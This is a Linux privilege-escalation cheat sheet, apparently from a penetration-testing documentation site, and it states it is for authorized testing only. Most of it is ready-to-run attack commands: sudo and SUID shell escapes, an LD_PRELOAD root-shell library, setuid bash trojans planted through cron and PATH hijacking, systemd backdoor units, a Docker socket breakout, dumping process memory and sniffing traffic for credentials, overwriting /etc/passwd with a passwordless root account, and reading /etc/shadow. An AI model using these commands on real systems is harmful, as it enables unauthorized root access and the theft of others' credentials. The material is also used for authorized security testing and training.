Skip to main content

Overview

Linux privilege escalation involves finding and exploiting misconfigurations, vulnerable software, weak permissions, or kernel vulnerabilities to elevate from a low-privilege user to root. This page covers the most impactful techniques with practical commands.
This content is for authorized penetration testing and security research only. Always obtain written permission before testing any system.

System Enumeration

OS and Kernel Information

(cat /proc/version || uname -a) 2>/dev/null
cat /etc/os-release 2>/dev/null
cat /proc/version
uname -a
searchsploit "Linux Kernel"

Environment Variables

Interesting information, passwords, or API keys may live in environment variables:
(env || set) 2>/dev/null

Sudo Version Check

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
Sudo versions before 1.9.17p1 allow unprivileged local users to escalate via sudo --chroot when /etc/nsswitch.conf is in a user-controlled directory (CVE-2025-32463). For versions below 1.8.28: sudo -u#-1 /bin/bash

SUDO and SUID Exploitation

sudo -l  # List what you can run as sudo
find / -perm -4000 2>/dev/null  # Find all SUID binaries
Common GTFOBins sudo escalations:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
If sudo -l shows a NOPASSWD entry:
User demo may run the following commands:
    (root) NOPASSWD: /usr/bin/vim
Exploit it:
sudo vim -c '!sh'
If sudo allows SETENV:
# Example from HTB Admirer
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
If env_keep includes BASH_ENV:
cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo
If sudo -l shows env_keep+=PATH or a writable entry in secure_path:
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh  # calls free → runs trojan
bash -p
If sudo preserves LD_PRELOAD:
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0); setuid(0);
    system("/bin/sh");
}
gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so find

Cron Job Abuse

1

Enumerate Cron Jobs

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
2

Cron PATH Hijacking

If a cron job runs a script without full path and the cron PATH includes a user-writable directory:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
chmod +x /home/user/overwrite.sh
# Wait for cron to execute, then:
/tmp/bash -p
3

Wildcard Injection

When a cron job uses * in a command like rsync:
# Creates a file whose name is a rsync argument
touch -- '-e sh myscript.sh'
4

Cron Script Overwrite

If you can modify a cron script:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /path/to/cron/script.sh
# Wait for execution, then:
/tmp/bash -p
5

Monitor Frequent Cron Jobs

Use pspy or manual process monitoring to spot short-interval crons:
# Manual monitoring
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done
sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"
rm /tmp/monprocs.tmp

Services and Systemd

If you can write to a .service file, add a backdoor:
[Service]
ExecStart=/tmp/backdoor.sh
Check the systemd PATH and look for relative command use in service files:
systemctl show-environment
# Look for relative paths in ExecStart/ExecStop
Create an executable with the same name in a writable PATH directory.
Add a backdoor to .socket files:
[Socket]
ExecStartPre=/home/user/backdoor.sh
If a socket references a non-existent service and you can write to /etc/systemd/system:
cat >/etc/systemd/system/vuln.service <<'EOF'
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash'
EOF
nc -q0 127.0.0.1 9999
/var/tmp/rootbash -p

Process Memory Credential Dumping

# Use GDB to dump FTP process memory
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp | grep -i password

Memory Dump Script

#!/bin/bash
# dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
    | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
    | while read start stop; do \
    gdb --batch --pid $1 -ex \
    "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

mimipenguin

The tool mimipenguin steals cleartext credentials from memory:
FeatureProcess Name
GDM password (Kali/Debian Desktop)gdm-password
Gnome Keyring (Ubuntu Desktop)gnome-keyring-daemon
LightDM (Ubuntu Desktop)lightdm
VSFTPd (Active FTP Connections)vsftpd
Apache2 (HTTP Basic Auth Sessions)apache2
OpenSSH (Active SSH Sessions)sshd:

Network Enumeration

# Full network enumeration
cat /etc/hostname /etc/hosts /etc/resolv.conf
(ifconfig || ip a)
ip route
(netstat -punta || ss --ntpu)
ss -tulpn

# Outbound port check
for p in 22 25 53 80 443 587 8080 8443; do nc -vz -w3 example.org "$p"; done

# Sniff traffic
sudo tcpdump -i lo -s 0 -A -n 'tcp port 80 or 8000 or 8080' \
  | egrep -i 'authorization:|cookie:|set-cookie:|bearer|token'

Docker Socket Privilege Escalation

If /var/run/docker.sock is writable:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
Using the Docker API directly with curl:
# List images
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

# Create privileged container
curl -XPOST -H "Content-Type: application/json" \
  --unix-socket /var/run/docker.sock \
  -d '{"Image":"ubuntu","Cmd":["/bin/sh"],"OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' \
  http://localhost/containers/create

D-Bus Privilege Escalation

D-Bus is an IPC system that can allow privilege escalation if misconfigured policies exist:
<!-- Example permissive policy in /etc/dbus-1/system.d/ -->
<policy user="root">
    <allow own="fi.w1.wpa_supplicant1"/>
    <allow send_destination="fi.w1.wpa_supplicant1"/>
</policy>

SUID / SGID Binaries

SUID binaries run with the file owner’s permissions (typically root). Find and exploit them:
# Find SUID binaries
find / -perm -4000 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

# Find SGID binaries
find / -perm -2000 2>/dev/null
Check each result against GTFOBins for known escalation techniques. Common examples:
# bash SUID
bash -p

# find SUID
find . -exec /bin/sh -p \; -quit

# vim SUID
vim -c ':py import os; os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'

# nmap SUID (older versions)
nmap --interactive
nmap> !sh

# cp SUID - overwrite /etc/passwd
echo "root2::0:0::/root:/bin/bash" | /usr/bin/cp /dev/stdin /etc/passwd

Linux Capabilities

Capabilities are fine-grained privileges. Find binaries with dangerous capabilities:
getcap -r / 2>/dev/null
Dangerous capabilities to look for:
CapabilityRisk
cap_setuid+epSet UID to 0 → root
cap_net_raw+epSniff traffic, bypass firewalls
cap_dac_override+epBypass file permission checks
cap_sys_admin+epMount filesystems, kernel ops
Examples:
# Python with cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# tar with cap_dac_read_search — read /etc/shadow
tar -cvf shadow.tar /etc/shadow 2>/dev/null
tar -xvf shadow.tar

Kernel Exploits

Search for kernel exploits matching the target version:
uname -r                          # Get kernel version
cat /proc/version
searchsploit linux kernel <version>
linux-exploit-suggester.sh        # Automated suggester
Notable kernel vulnerabilities:
CVENameAffected
CVE-2016-5195DirtyCowLinux < 4.8.3
CVE-2021-4034PwnKit (pkexec)polkit < 0.119
CVE-2022-0847DirtyPipeLinux 5.8–5.16
CVE-2023-0386OverlayFSLinux < 6.2

Writable PATH and Environment

# Check if any directory in PATH is writable
echo $PATH | tr ':' '\n' | while read d; do
    [ -w "$d" ] && echo "Writable: $d"
done

# Check if current dir '.' is in PATH (dangerous)
echo $PATH | grep -qE '(^|:)\.' && echo "Current dir in PATH!"

Credentials in Files

# Search for passwords in config files
grep -r "password" /etc/*.conf /etc/**/*.conf 2>/dev/null
grep -rE "(password|passwd|pwd)\s*=" /var/www/ 2>/dev/null

# History files
cat ~/.bash_history ~/.zsh_history 2>/dev/null | grep -i pass

# SSH private keys
find / -name id_rsa -o -name id_ecdsa -o -name id_ed25519 2>/dev/null

# .sudo_as_admin_successful — user has used sudo before
ls /home/*/.sudo_as_admin_successful 2>/dev/null

References

Build docs developers (and LLMs) love